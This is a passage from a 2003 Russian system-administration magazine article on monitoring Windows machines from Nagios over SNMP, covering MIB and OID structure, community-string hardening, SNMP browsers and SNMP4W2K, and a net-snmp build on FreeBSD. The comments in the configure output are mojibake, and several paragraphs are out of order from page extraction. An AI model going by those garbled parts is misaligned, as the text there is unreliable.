экспериментируйте, накапливая бесценный опыт, который вам когда-то очень пригодится. 1
Правда, это умение даровано не всем программам, вот Roxio Easy CD Creator оно даровано, а, например, Stomp Record Now! – нет. 2 Уменьшение свободного пространства объясняется тем, что каждая открываемая сессия требует для своего размещения определенного места, однако если удалению одних файлов сопутствует запись других, то открывать новую сессию все равно приходится и в этом случае, накладные расходы на удаление отсутствуют.
администрирование
АНДРЕЙ БЕШКОВ 12
администрирование Первая часть этой статьи (см. июльский номер журнала) рассказывала об одной из нескольких методик настройки Nagios для слежения за серверами под управлением семейства операционных систем Windows. Для достижения наших целей на контролируемую машину устанавливалась программа NSClient, а данные собирались с помощью модуля check_nt. Сегодня мы изучим второй способ мониторинга. Для получения необходимых данных мы будем использовать SNMP (Simple Network Management Protocol). Большинство знаний, приобретенных после прочтения этой статьи, можно будет применить для настройки не только систем мониторинга на основе Nagios. Понимание принципов работы SNMP и практические навыки обращения с Windows в этом аспекте позволят передать нужные нам данные другим системам мониторинга, работающим с SNMP. Например, это могут быть mrtg, OpenNMS, Dec PolyCenter Network Manager, HP Open View, IBM AIX NetView/600 и любые другие программы, обладающие подобной функциональностью. На данный момент SNMP является самым популярным протоколом управления и мониторинга сетей. Первоначально он разрабатывался для работы с маршрутизаторами, но постепенно стал использоваться и во многих других устройствах. Сейчас его реализации можно встретить в сетевых коммутаторах, серверах печати, межсетевых экранах и прочих видах сетевого оборудования. Давайте разберемся с принципами работы этого протокола. Внутри каждого из устройств, которыми можно управлять, находится программное обеспечение для работы с SNMP, называемое агентом. В свою очередь, программа, работающая на станции управления сетью, называется менеджером. Агент выступает посредником между внутренними структурами управляемого объекта и менеджером. Обычно взаимодействие происходит по инициативе менеджера и выглядит следующим образом. Менеджер отправляет запрос агенту. Тот его обрабатывает, собирает данные и отправляет их назад. В некоторых случаях агент может самостоятельно инициировать обмен данными. Обычно у агента должен быть список важных событий, о наступлении которых он обязан оповестить менеджера. Затем менеджер по своему усмотрению выполняет какие-либо действия в ответ на оповещение. Например, такими событиями могут быть выход из строя какого-либо компонента внутри наблюдаемого объекта, аварийная перезагрузка, вызванная потерей питания или любая другая критическая ситуация. Процедура оповещения в терминах протокола SNMP называется отправкой ловушки (SNMP Trap). Для того чтобы менеджер мог управлять самыми разными видами оборудования, фирмы-производители создали стандартную абстрактную модель, позволяющую получить доступ к внутренним данным оборудования. В модель включается минимум данных, необходимых для управления и контроля. Например, модель сетевого сервера печати может содержать в себе следующие данные: время работы с момента последней перезагрузки загрузка процессора количество портов принтера статус каждого порта количество подключенных принтеров
№8(9), август 2003
статус каждого принтера общее количество заданий в очереди количество заданий в очереди каждого принтера общее количество выполненных заданий количество заданий, выполненных каждым принтером список IP-адресов или пользователей, создававших задания
количество и размер заданий, отправленных каждым пользователем
таблица интерфейсов подключения к локальной сети статус каждого из этих интерфейсов количество, размер, вид пакетов, прошедших через каждый интерфейс
общий размер оперативной памяти размер свободной оперативной памяти Количество доступной информации впечатляет. Самой приятной изюминкой в реализации SNMP является тот факт, что все сложности по взаимодействию с реальным оборудованием ложатся на плечи агента, который, в свою очередь, предоставляет стандартный интерфейс доступа к данным оборудования. Таким образом, менеджер может легко общаться с агентами, созданными разными производителями оборудования. Для того чтобы агент мог правильно описать оборудование, в которое он встроен, а менеджер – понять, о чем идет речь, они должны оба опираться на одну и ту же модель подконтрольного ресурса. Данные модели хранятся в базе данных управляющей информации – MIB (Management Information Base), которая полностью описывает список доступных характеристик ресурса. Пользуясь ею, менеджер может узнать, какие сведения агент способен предоставить, что они означают и какими свойствами аппаратуры можно управлять. Повсеместно MIB принято представлять в виде древовидной структуры. Определенные части этого дерева являются обязательными для всех реализаций SNMP. System – обобщенные данные о системе (имя, время работы с момента последней перезагрузки). Interfaces – данные о сетевых интерфейсах (статус, количество, типы, размер пакетов). At (Address translation table) – таблица трансляции адресов. Уже не используется. Поддерживается только ради совместимости со старыми версиями. TCP – данные протокола TCP (количество соединений, получено и отправлено пакетов, количество ошибок). ICMP – данные протокола обмена управляющими сообщениями ICMP (количество сообщений получено и отправлено, количество ошибок и их виды). EGP – протокол обмена информацией о состоянии маршрутизации (получено и отправлено пакетов, количество ошибок). UDP – данные протокола UDP (получено и отправлено датаграмм, количество ошибок). SNMP – статистика работы одноименного протокола (количество входящих и исходящих пакетов, обработано запросов, ошибки). IP – данные о функционировании этого протокола (количество пакетов получено и отправлено, количество ошибок и их разновидности).
13
администрирование В то же время производитель оборудования может встраивать внутрь этого дерева свои собственные поддеревья. Чаще всего они называются private. С помощью такого встраивания реализуется возможность получить доступ к функциям и данным, характерным только для этого оборудования. Для примера посмотрим на стандартный образец данных, используемых агентом SNMP, работающим на машине win2000rus.
.iso.3.dod.1.mgmt.1.1.sysUpTime
Выглядит странно, но от этого значение строки не меняется. В любом случае агент конвертирует его в числовое представление. Таким образом, мы получаем уникальную комбинацию чисел, однозначно идентифицирующую объект, находящийся в любой ветви дерева. В дальнейшем такую комбинацию мы будем называть OID (Object identifier) или, говоря русским языком, «Идентификатор объекта». В связи с тем, что префикс iso.org.dod.internet.mgmt.mib2 встречается почти в каждом OID, большинство людей вообще перестало его писать. Подразумевается наличие этого префикса, поэтому очень часто можно встретить такой вид записи: system.sysUpTime
Несмотря на то что в каждой ветви дерева может находиться несколько экземпляров объектов, в некоторых находится только один. В этом случае все зависит от целесообразности. Например, нет смысла держать внутри ветви system.sysUpTime два экземпляра объекта, потому что время работы системы может быть только одно. В случае если экземпляр объекта один, ему присваивается номер «0». Доступ к его данным можно получить, обратившись к нему либо как system.sysUpTime, либо system.sysUpTime.0.
Например, для того чтобы узнать время работы системы с момента последней перезагрузки, нужно пройти через ветку: .iso.org.dod.internet.mgmt.mib2.system.sysUpTime
Буквенная запись используется для удобства восприятия информации человеком, менеджеры и агенты оперируют числами. Соответственно, каждая часть пути имеет свой числовой идентификатор. mgmt – 2 iso – 1 mib2 – 1 org – 3 system – 1 dod – 6 sysUpTime – 3 internet – 1 Это значит, что тот же самый путь выражается как .1.3.6.1.2.1.1.3. Если у вас сегодня плохое настроение, то можно использовать подобное смешанное написание:
14
Примером хранения нескольких экземпляров объекта являются ветви: interfaces.ifTable.ifEntry.ifType – тип сетевой карты; interfaces.ifTable.ifEntry.ifIndex – уникальный ключ; interfaces.ifTable.ifEntry.ifMtu – максимальный размер пакета данных. Внутри этих ветвей хранятся данные о сетевых картах, установленных на нашей машине. Подветвь interfaces обладает очень интересной конструкцией. Объект .interfaces.ifNumber содержит в себе цифру «2», это говорит нам, что в системе установлены две сетевые карты. Внутри ветви interfaces.ifTable.ifEntry находится массив данных сетевых интерфейсов. По сути дела это хэш-массив. В некоторых книгах он еще называется ассоциативным массивом. Ветвь interfaces.ifTable.ifEntry.ifIndex объявляет два ключа с уникаль-
администрирование ными цифровыми идентификаторами. В дальнейшем эти ключи используются для того, чтобы не путать между собой экземпляры объектов внутри каждой нижележащей ветви. Таким образом, получается, что ко второй сетевой карте относятся следующие экземпляры объектов: interfaces.ifTable.ifEntry.ifType.16777219 interfaces.ifTable.ifEntry.ifIndex.16777219 interfaces.ifTable.ifEntry.ifMtu.16777219
Ну а к первой сетевой карте относятся соответственно: interfaces.ifTable.ifEntry.ifType.1 interfaces.ifTable.ifEntry.ifIndex.1 interfaces.ifTable.ifEntry.ifMtu.1
Разобравшись с форматом дерева, перейдем к операциям, которые можно выполнять с помощью SNMP. GetRequest – самая распространенная операция. Позволяет получить содержимое объекта из MIB. Обычно в разных статьях сокращается до Get. GetNextRequest – операция получения следующего экземпляра из таблицы. Представим себе такую ситуацию. В нашем маршрутизаторе есть некоторое количество портов. Мы хотим узнать, какие из них активны в данный момент. С помощью GetRequest читаем данные первого экземпляра внутри ветви. Но вся проблема в том, что мы не знаем, сколько еще экземпляров осталось внутри. Вот тут-то нам пригодится GetNextRequest. С помощью этой операции мы проходим по всему списку объектов. Как только нам встречается первый объект из другой ветки, операция прекращается. Сокращенное название звучит как GetNext. SetRequest – судя по названию, каждый может догадаться, что эта команда служит для внесения данных в MIB. Часто о ней говорят просто как о команде Set. GetResponse – выполняется агентом в ответ на команды GetRequest, GetNextRequest, SetRequest. Если это ответ на первые две, то внутрь будут вложены запрошенные данные; ну а если на третью, то внутри будет подтверждение об успешном выполнении. Самые распространенные устные названия для этой команды – Reply или Response. Trap – содержит внутри себя специальный OID, показывающий, что это ловушка, а также информацию о том, какой MIB-объект установил ловушку и данные этого объекта. Тут и сокращать-то нечего, поэтому название никогда не искажается. Следующее интересное для нас понятие – «Имена Сообществ» (Community Names). Они являются своеобразным эквивалентом паролей и используются для того, чтобы разграничить, какие приказы агенту может отдавать тот или иной менеджер. Каждая из пяти перечисленных ранее операций должна содержать в себе правильное имя сообщества, иначе она не будет выполнена. Если агент настроен соответствующим образом, то в результате запроса с ошибочной строкой сообщества менеджеру будет отправлена ловушка с жалобой на попытку ошибочной аутентификации. Строки сообществ бывают трех видов Read-Only, Read-Write и Trap. Если менеджер передает агенту команды GetRequest,
№8(9), август 2003
GetNextRequest, то внутри должна быть та строка сообщества Read-Only, которая запрограммирована в агенте. Если же происходит попытка передать агенту на выполнение команду SetRequest, то для начала проверяется тип изменяемого объекта MIB. Тип должен быть read-write. И только затем происходит проверка переданной менеджером строки сообщества на совпадение со строкой ReadWrite. Внесение изменений происходит, только если обе проверки завершились с положительным результатом. В большинстве реализаций строка сообщества Trap применения не нашла. Первоначально она задумывалась как вспомогательное средство для облегчения процедуры сортировки внутри менеджера ловушек от разных видов агентов. Но, как показал опыт реальной эксплуатации протокола, необходимость в таких ухищрениях возникает очень редко. SNMP работает на основе протокола UDP и для общения с сетью использует порт номер 162. Использование UDP в качестве основы означает, что данные передаются без установления соединения. Это дает возможность существенно уменьшить требования к сетевой инфраструктуре и накладные расходы на передачу данных. Пакеты SNMP могут передаваться не только с помощью UDP, но и поверх ATM, Ethernet, IPX. Одной из основных проблем с безопасностью протокола SNMP являются имена сообществ, установленные изготовителем оборудования по умолчанию. Многие производители используют в качестве имен всех перечисленных сообществ слово «public». Многие администраторы после установки оборудования напрочь забывают о необходимости сменить имена сообществ. В таком случае любой более или менее осведомленный о протоколе SNMP злоумышленник может получить доступ к важным функциям оборудования. Вторая большая проблема состоит в том, что пакеты протокола SNMP передаются через сеть открытым текстом. Получается, что узнать нужные строки сообществ не так уж и сложно. Подобное плачевное состояние с безопасностью протокола породило довольно забавную шутку. По мнению сетевых острословов, SNMP расшифровывается как «Security Not My Problem». Положение существенно улучшилось с введением второй версии протокола SNMP. Для противодействия злоумышленникам используются Symmetric Privacy Protocol (SPP), призванный защитить от прослушивания, и авторизация на основе Digest Authentication Protocol (DAP). Ну а до тех пор пока SNMP v.2 не стал повсеместным стандартом, мы будем защищаться тем, что постараемся везде, где только возможно, перестать использовать команду SetRequest. Нам для проведения мониторинга совершенно нет необходимости ее применять. Таким образом, никто не сможет внести изменения в данные, находящиеся внутри оборудования. Еще одним способом борьбы со злоумышленниками должно стать запрещение пропускать пакеты протокола SNMP из Интернета во внутреннюю сеть. Также необходимо жестко ограничить круг IP-адресов менеджеров, которым позволено обращаться к агентам, находящимся внутри нашего оборудования. Если после прочтения этого краткого курса вам все еще непонятны какие-либо моменты теории работы SNMP, значит стоит почитать список часто задаваемых вопросов. Сделать это можно, передав лю-
15
администрирование бой поисковой машине запрос snmp faq. В случае если такой помощи окажется недостаточно, стоит обратиться к документации, описывающей протокол. Лучшим источником таких сведений являются RFC 1156, 1213, 1157, 1146, 2571, 2574. Покончив с кратким обзором основ SNMP, перейдем к практическому применению полученных знаний. Для того чтобы на машине win2000rus заработала служба SNMP, нужно установить добавочные системные компоненты. Давайте пройдемся по цепочке меню Пуск → Настройка → Панель управления. Дважды кликнем пиктограмму «Установка и удаление программ». В открывшемся окне жмем кнопку «Добавление и удаление компонентов Windows».
После нажатия кнопок «ОК» и «Далее» наблюдаем за процедурой инсталляции. По завершению оной посмотрим список служб, работающих на этой машине. «Служба SNMP» должна быть запущена. Исходя из того факта, что эта машина никогда не будет выступать в роли менеджера, и соответственно, ловушки ей слать никто не будет, сначала останавливаем, а затем и вовсе отключаем сервис «Служба ловушек SNMP».
Затем начинаем редактировать свойства службы SNMP. Сообщество Read-Only из public переименовываем в «QWEmn90», а сообщество Read-Write, скажем, в «Zxasd098».
Ставим галочку напротив «Средства управления и наблюдения».
Нажимаем кнопку «Состав» и обязательно убеждаемся, что «Протокол SNMP» тоже помечен галочкой.
16
Заменив значения по умолчанию такими сложными для запоминания и случайного угадывания именами, мы повышаем безопасность использования SNMP. Честно говоря, сообщество Read-Write надежнее всего вообще отключить удалением соответствующего имени из списка. В список узлов, от которых можно принимать пакеты SNMP, добавляем адрес нашего сервера Nagios и самой Windowsмашины, тем самым выполняя еще один реверанс в сторону безопасности. Помня, что жизнь под Windows – это цепь постоянных перезагрузок, перезапускаем службу SNMP, для того чтобы изменения в настройках вступили в силу. Закончив с предварительным конфигурированием, побеспокоимся о своем удобстве. Установим на Windowsмашину браузер SNMP. Интерфейс командной строки – это хорошо, но все же графическими средствами бродить по веткам SNMP гораздо приятнее. Для использования под Windows можно взять стандартного агента MS SMS Netmon на сайте производителя:
администрирование http://www.microsoft.com/smsmgmt/. Я буду использовать утилиту по имени GetIf версии 2.2, полученную тут: http:// www.wtcs.org/snmp4tpc/FILES/Tools/SNMP/getif/getif-2.2.zip. Она умеет делать много полезных вещей, но самое главное – отлично работает с SNMP. У всех желающих есть возможность там же взять более современную версию 2.3. Хотя лично мне она не очень нравится из-за изменений в интерфейсе. В процессе инсталляции жмем несколько раз кнопку «Next». Не прошло и минуты, как мы стали счастливыми обладателями SNMP-браузера. Для Unix-систем взять браузер можно здесь: http://snmpbrowser.sourceforge.net/. В дальнейшем все инструкции приводятся для работы с GetIf. Впрочем, остальные версии браузеров SNMP должны быть очень похожи в обращении. Запустим браузер первый раз и начнем заполнение полей, необходимых для выполнения SNMP-команд. В поле «Host Name» пишем адрес либо имя нашей Windows-машины. Затем в поля «Read commuinty» и «Write community» вносим «QWEmn90» и «Zxasd098». Нажимаем кнопку «Start». Если все пустые строки заполнились данными, а не надписями «error» или «none», и получилось что-то подобное рисунку, значит SNMP работает исправно. Теперь обратимся к вкладке MBrowser, ради возможностей которой все это, собственно, и затевалось. Для того чтобы получить данные, хранящиеся в какой-либо подветви, нужно дважды кликнуть на корневом элементе «iso». Возьмем, к примеру, OID: .iso.org.dod.internet.mgmt.mib-2.system.sysContact
содержащий описание системы. Пройдя через всю иерархию к нужной точке внутри дерева, нажимаем кнопку «Walk».
№8(9), август 2003
На экране должно отобразиться что-то подобное снимку, приведенному на следующей странице. Давайте разберемся, что мы видим. Самое верхнее поле содержит символьную нотацию OID, чуть ниже располагается цифровая форма записи того же самого. Еще ниже находится дерево MIB. Справа от дерева – 4 информационных поля, описывающих выбранный объект. Среди них – тип объекта (Type); доступ, разрешаемый к объекту (Access); список значений, которые может принимать объект (Enums). Например, для OID, описывающего состояние сетевых интерфейсов: .iso.org.dod.internet.mgmt.mib-2 ↵ .IfTable.IfTable.IfEntry.IfOperStatus
доступны значения «up», «down», «testing». Затем идет статус объекта (Status) – является ли объект обязательным или нет. Еще ниже находится область, в которой выводится подробное разъяснение значения данных выбранного объекта. Хочу заметить, что, по моему мнению, это одна из самых полезных возможностей, предоставляемых браузером. Даже в символьной записи не всегда понятно, данные о какой функциональности устройства предоставляет та или иная ветвь дерева. Опускаясь еще немного вниз, видим окно, в котором отображаются результаты запросов, выполненных по нажатию клавиши «Walk». Это и есть содержимое объектов, находящихся в выбранной подветви. Ниже всех находится группа полей ввода, обеспечивающая возможность изменения данных, находящихся внутри выбранного объекта. Впрочем, есть возможность редактировать и любой другой объект, к которому есть доступ Read-Write. Для этого нужно изменить OID, установленный по умолчанию в строке редактиро-
17
администрирование
вания. После того как все необходимые данные введены в поле редактирования, жмем кнопку «Set» и смотрим на результат. Отсюда следует вывод, что мы можем не только просматривать данные, но и довольно легко редактировать их. Спору нет, все возможности, предоставленные нам программой GetIf, очень даже полезны, но кое-что все же нужно улучшить. Например, расширить базу MIB, которую она использует, потому что в комплекте MIB, поставляемом по умолчанию, не хватает многих жизненно важных OID. Берем архив необходимых нам MIB здесь: http://www.wtcs.org/snmp4tpc/FILES/Tools/SNMP/getif/ GETIF-MIBS.ZIP. Распаковываем его во временную директорию, затем все файлы с расширением .mib копируем в папку, где у нас установлена программа GetIf. Обычно это C:/Program Files/GetIf 2.2/Mibs/. После копирования удаляем файл .index, содержащий внутри себя список файлов, в которых находятся MIB. Запускаем Getif, файл .index будет создан заново и заполнен новым списком MIB-файлов автоматически. Посмотрев на вкладку MBrowser, осознаем, сколько полезного добавилось в нашу базу. Если же такое обилие вас пугает, то можно ограничиться копированием только следующих: Mib_ii MIB_II_TRANSMISSION RFC_BASE_MINIMUM PRIVATE_ENTERPRISES/Microsoft_win2k PRIVATE_ENTERPRISES/Microsoft_Apps
Порыскав несколько минут по дереву, находим OID, содержащий данные о загрузке процессора. .iso.org.dod.internet.mgmt.mib-2 ↵ .host.hrDevice.hrProcessorTable.hrProcessorEntry ↵ .hrProcessorLoad
К сожалению, данные, предоставляемые Windows для доступа через SNMP, все еще слишком скудны. Хотелось бы иметь более информативную картину процессов, происходящих внутри подопытной машины. Очень хочется,
18
чтобы данные счетчиков производительности (performance counters), о которых шла речь в первой части этой статьи, были доступны нам через SNMP. Добиться подобного приятного эффекта можно с помощью программы, называемой SNMP4W2K. Для Windows NT, соответственно, она будет называться SNMP4NT. Все семейство вышеописанных программ распространяется в двух вариантах. Бесплатная стандартная версия называется SNMP4W2K-STD и SNMP4NT-STD. Соответственно, платная версия зовется SNMP4W2K-PLUS и SNMP4NT-PLUS. В связи с падением спроса на саму Windows NT, а затем и на платную версию SNMP4NT-PLUS, автор недавно выложил ее в свободный доступ. Нынче вне зависимости от толщины кошелька ее могут скачать все желающие. Разница между версиями состоит в размерах базы MIB и стоимости 50$ за одну лицензию. Бесплатная версия, кроме большого количества стандартных счетчиков, содержит еще и счетчики следующих сервисов Windows: Print Services SMTP Services NNTP Services Платная версия добавляет возможность работать со счетчиками, в которых содержатся данные следующих служб: SQL Server 2000 Exchange Server 2000 ISA Server Media Services Active Directory IIS Global Services Лично мне хватает данных, предоставляемых стандартной версией, поэтому я буду использовать именно ее. Скачиваем отсюда: http://www.wtcs.org/snmp4tpc/ FILES/SNMP4W2K/STD/SNMP4W2K-STD.zip дистрибутив SNMP4W2K. Подробнее ознакомиться с теорией функ-
администрирование ционирования пакета, почитать список часто задаваемых вопросов и взять версию для Window NT можно на сайте автора: http://www.wtcs.org/snmp4tpc/. Ну а сейчас давайте кратко разберемся с вопросами «почему» и «как это работает».
хотите работать с данными сервиса или программы, доступными только через SNMP4W2K, то вам нужно сначала установить саму программу и только затем ставить SNMP4W2K. Яркий пример такого подхода – служба IIS. Если она установлена после SNMP4W2K, то совокупность OID, дающих доступ к ее внутренним данным, работать не будет, потому что SNMP4W2K в момент инсталляции не нашел на машине службу IIS, а значит решил, что захламлять машину лишними MIB не стоит. Если же поступить наоборот – сначала установить IIS, а затем SNMP4W2K, то все будет работать как положено. За решением этой проблемы можно увлекательно потерять не один час рабочего времени. Вот такой вот образец чрезмерной самостоятельности программы SNMP4W2K. Так как на моей машине нет сервисов вроде WINS, SMTP, DNS, то большинство полезной для наблюдения информации находится в объектах ветви: .iso.org.dod.internet.private.enterprises.microsoft ↵ .software.systems.os.windowsNT.performance
Давайте определимся, какие OID мы будем использовать для сбора необходимых нам данных. К примеру, загрузку процессора можно узнать с помощью такого OID: Используя интерфейс расширения агентов SNMP, мы внедряем в Windows свой нестандартный обработчик SNMP perfmib.dll, который, опираясь на базу mib.bin и конфигурацию, сохраненную в файле perfmib.ini, позволяет нам получить доступ к объектам производительности. Соответствие между объектами производительности и OID хранится в базе mib.bin. Распаковав дистрибутив, приступим с нетерпением к инсталляции программы SNMP4W2K-STD. Запускаем файл SNMP4W2K-STD.exe. Согласившись с условиями лицензии, выбираем директорию для инсталляции C:\Program Files\SNMP4W2K-STD\. Как только полоса копирования файлов перестанет мелькать, нам будет предложено две опции «View Readme File» и «Run Installed Application». Недрогнувшей рукой отключаем первую опцию и нажимаем «ОК». После этого появится окно командного интерпретатора с несколькими вопросами, которые нужно уточнить. Соглашаясь с выбором, предлагаемым по умолчанию, нужно будет нажать несколько раз клавишу «Y». Программа инсталляции самостоятельно внесет изменения в реестр и перезапустит службу SNMP. Если браузер SNMP работает, закрываем его. Для того чтобы новые ветви, добавленные SNMP4W2K, появились в GetIf, нужно скопировать MIB-файлы программы SNMP4W2K, находящиеся в директории C:\Program Files\SNMP4W2K-STD\Mibs\ в директорию, где лежат базы MIB нашего браузера C:\Program Files\Getif 2.2\Mibs\. Снова удаляем файл .index и, запустив GetIf, идем любоваться веткой: .iso.org.dod.internet.private.enterprises
Все подветви, находящиеся внутри нее, появились благодаря SNMP4W2K. Стоит обратить внимание на один побочный эффект SNMP4W2K. Например, если вы
№8(9), август 2003
.iso.org.dod.internet.private.enterprises.microsoft ↵ .software.systems.os.windowsNT.performance ↵ .cpuprocessorTable.cpuprocessorEntry ↵ .cpuPercentProcessorTime
К сожалению, процесс использования SNMP не так уж и прост. Для того чтобы увидеть количество занятой виртуальной памяти, нам придется провести некоторые расчеты. Берем содержимое OID: .iso.org.dod.internet.private.enterprises.microsoft ↵ .software.systems.os.windowsNT.performance ↵ .memmory.memmoryCommitLimit
соответствующее системному счетчику «\Память\Предел выделенной виртуальной памяти», делим его на 100 и получаем величину, показывающую, сколько байт принимается за 1% памяти. В моем случае получилась величина 3 184 967 байт. Отсюда следует вывод, что на моей машине 1% – это почти 3 мегабайта памяти. Получаем данные о количестве израсходованной памяти: .iso.org.dod.internet.private.enterprises.microsoft ↵ .software.systems.os.windowsNT.performance ↵ .memmory.memmoryCommittedBytes
соответствующие счетчику «\Память\Байт выделенной виртуальной памяти». В моей системе это 53 776 337 байт. Делим полученную величину на размер одного процента, равного 3 184 967 байт, и получаем 16.88%. Значит, свободной памяти еще достаточно. Именно такую методику расчетов мы будем использовать при настройке порогов критического состояния 90% – 286 647 030 байт и уровня предупреждения 80% – 254 797 360 байт для сервиса, с помощью которого Nagios будет следить за потреблением памяти.
19
администрирование Следующий ресурс, за которым нужно следить – свободное место на жестких дисках Windows-машины. К сожалению, мне так и не удалось заставить работать ветки: .iso.org.dod.internet.private.enterprises.microsoft ↵ .software.systems.os.windowsNT.performance ↵ .pdiskphysicalDiskTable
способом вычисляем размер виртуальной памяти и получаем 318 439 424 байта. Теперь внимание, подходим к самому главному. Данные о том, сколько памяти уже израсходовано, находятся внутри hrStorageUsed.
и .iso.org.dod.internet.private.enterprises.microsoft ↵ .software.systems.os.windowsNT.performance ↵ .ldisklogicalDiskTable
отвечающие за физические устройства жестких дисков и логические тома файловых систем. Но огорчаться по этому поводу не стоит. Вместо OID, созданных SNMP4W2K, мы будем использовать стандартную ветвь: .iso.org.dod.internet.mgmt.mib-2.host.hrStorage.hrStorageTable
Первым делом обращаемся к ветке: .iso.org.dod.internet.mgmt.mib-2.host.hrStorage ↵ .hrStorageTable.hrStorageEntry.hrStorageDescr
чтобы узнать, какое из устройств нас интересует. Используя OID hrStorageDescr, читаем текстовое описание объектов, содержащихся внутри массива, прикрепленного к этой ветке.
Как мы видим, объект номер 1 – это дисковод гибких дисков, а номера 2 и 3, соответственно, C:\ (жесткий диск) и D:\ (CD-ROM). Также интересен номер 4, представляющий объект, содержащий данные о количестве доступной виртуальной памяти. Идем по нашему массиву дальше и обращаемся к OID hrStorageAllocationUnits, описывающему размер в байтах одного блока памяти каждого из вышеназванных устройств.
Как видим, размер блока для диска C:\ равен 2 048 байтам, а для виртуальной памяти соответствует 65 536 байт. Теперь нужно узнать общий размер памяти каждого из перечисленных устройств, используя OID hrStorageSize.
Так как использованное место измеряется опять же в блоках, то переводить его в байты особого смысла нет. Нужного эффекта можно добиться, контролируя процент использования блоков. Догадаться, как узнать, сколько блоков в 1%, несложно. Я думаю, вы и сами легко сможете рассчитать для диска C:\ порог в 80% и 90% заполнения. Для моей системы это соответственно 835 367 и 938 788 блоков. При достижении этих значений Nagios должен будет отправлять нам предупреждение. Еще одним из параметров, за которыми стоит следить, является процент использования файла подкачки. Для этого нам нужно брать данные из объекта с таким именем: .iso.org.dod.internet.private.enterprises.microsoft ↵ .software.systems.os.windowsNT.performance ↵ .pagefilepaging-FileTable ↵ .pagefilepaging-FileEntry.pagefilePercentUsage
Я думаю, выбранных нами объектов достаточно для надежного мониторинга. По своему усмотрению вы можете добавить любые другие объекты к этому списку. У вас, например, могут работать службы, которые на моей тестовой машине отсутствуют. Благо, количество данных, хранящихся в базе MIB, позволяет собирать очень подробную статистику. Завершив работу с Windows, переходим к FreeBSD. Для получения данных через SNMP Nagios использует модуль check_snmp. Ну а тот, в свою очередь, опирается на пакет программ net-snmp, предназначенный для работы с протоколом SNMP. Многим из администраторов этот пакет известен под старым названием ucdsnmp. Вы можете использовать либо ucd-snmp, либо netsnmp. Я же по своей давно укоренившейся привычке стараюсь использовать новейшее из доступного на данный момент программного обеспечения. Поэтому, выбрав net-snmp, скачиваю самую последнюю версию пакета отсюда: http://net-snmp.sourceforge.net/. На момент написания статьи это была версия 5.0.8. Распаковываю архив исходного кода и начинаю установку. # tar zxvf net-snmp-5.0.8.tar.gz
После того как я запустил скрипт configure, на экране появилось несколько вопросов, на которые обязательно нужно дать ответ. Стоит отметить, что размер считается в блоках, о которых мы говорили ранее. Значит, чтобы узнать размер диска C:\ в байтах, умножаем hrStorageAllocationUnits.2 на hrStorageSize.2 и в результате всех этих вычислений получаем цифру, примерно равную 2 гигабайтам. Таким же
20
# ./configure Defaul version of # Âåðñèÿ ïðîòîêîëà # ïî óìîë÷àíèþ äëÿ # Ìîæíî íàïèñàòü 1,
SNMP to use (3): 3 SNMP, êîòîðóþ íàäëåæèò èñïîëüçîâàòü âñåõ çàïðîñîâ. 2c, 3. ß, êàê âñåãäà, âûáðàë ñàìóþ íîâóþ.
администрирование System contact infomation root@: tigrisha@sysadmins.ru # Àäðåñ ëèöà, îòâåòñòâåííîãî çà ðàáîòó SNMP. Ìîæíî ïèñàòü # ÷òî óãîäíî. System Location (Unknown): home # Ãåîãðàôè÷åñêîå ìåñòîïîëîæåíèå ýòîé ìàøèíû. Ñíîâà ìîæíî # ïèñàòü âñå, ÷òî ïðèäåò â ãîëîâó. Location to write log file /var/log/snmpd.log: ↵ /var/log/snmpd.log # Ñþäà äåìîí snmpd áóäåò çàïèñûâàòü ôàéëû æóðíàëîâ ñâîåé ðàáîòû Location to write persistent information /var/net/snmp: ↵ /var/net/snmp # À òóò ïîäñèñòåìà SNMP áóäåò õðàíèòü ñâîþ ðàáî÷óþ èíôîðìàöèþ
Убедившись в том, что скрипт configure завершил работу без ошибок, начинаем сборку. # make
Затем, задав с помощью команды umask права на все вновь создаваемые файлы, проводим инсталляцию. # umask 022 # make install
Все выполняемые файлы программ из этого пакета устанавливаются в /usr/local/bin/. Этот факт желательно запомнить, потому что в будущем подобные знания нам очень пригодятся. По завершении установки в /usr/local/bin появятся следующие утилиты для работы с SNMP: snmpnetstat snmpbulkget snmpset snmpbulkwalk snmpstatus snmpcheck snmptable snmpconf snmptes snmpdelta snmptranslate snmpdf snmptrap snmpget snmpusm snmpget.old snmpvacm snmpgetnext snmpwalk snmpinform Не стоит отчаиваться, если процедура инсталляции по каким-либо причинам у вас не сработает. Net-snmp, как и ucd-snmp, можно установить из портов или пакетов, поставляющихся вместе с FreeBSD. Например, в дистрибутиве FreeBSD 4.7, на которой работает описываемая система, обе вышеназванных программы можно получить с 4 диска, содержащего коллекцию пакетов. Оба упомянутых пакета находятся внутри ветки Net. Я надеюсь, вы умеете самостоятельно устанавливать программы из портов или пакетов. Если брать программы из этой коллекции, то мы можем стать обладателями довольно свежих экземпляров net-snmp версии 5.0.3_2 или ucd-snmp версии 4.2.5_2. Каким путем пойти, оставляю полностью на ваше усмотрение. Все три способа установки проверены мною лично. Могу сказать, что они работают нормально, и наступить на грабли можно только при фатальном невезении. После инсталляции нужно провести некоторые действия, необходимые для более безопасной работы сервера мониторинга. В комплекте обоих вышеперечисленных программ поставляется демон SNMP. Несмотря на все свои достоинства, этот демон нам не нужен, так как
№8(9), август 2003
наша FreeBSD-машина не будет принимать входящие SNMP-запросы. Для того чтобы создавать исходящие запросы, его функциональность тоже не требуется. Опираясь на эти умозаключения, сначала останавливаем, а затем и полностью отключаем демона snmpd. Для отключения нужно снять атрибут выполнения со скрипта /usr/local/ etc/rc.d/snmpd.sh, запускающего демона после каждой перезагрузки системы. # /usr/local/etc/rc.d/snmpd.sh stop # chmod ugo-x /usr/local/etc/rc.d/snmpd.sh
Я надеюсь, что все помнят: подключаемые модули Nagios находятся в пакете nagios-plugins. Я использовал версию 1.3.0 – beta 3. Несмотря на то, что этот пакет у вас, скорее всего, уже установлен, модуля check_snmp в директории /usr/local/libexec/, скорее всего, нет. Такой поворот событий встречается довольно часто. А произошло это потому, что на машину сначала был установлен nagios-plugins и только затем одна из версий snmp. Скрипт configure, выполняемый перед компиляцией модулей, пытаясь удовлетворить все зависимости, запрашиваемые пакетом, не нашел на вашей машине ни ucd-snmp, ни net-snmp. Значит, нам нужно сконфигурировать пакет nagios-plugins заново. После распаковки переходим в каталог с исходными текстами nagios-plugins и выполняем следующие команды: # ./configure --prefix=/usr/local/nagios ↵ --with-nagios-user=nagios --with-nagios-grp=nagios # gmake all # gmake install
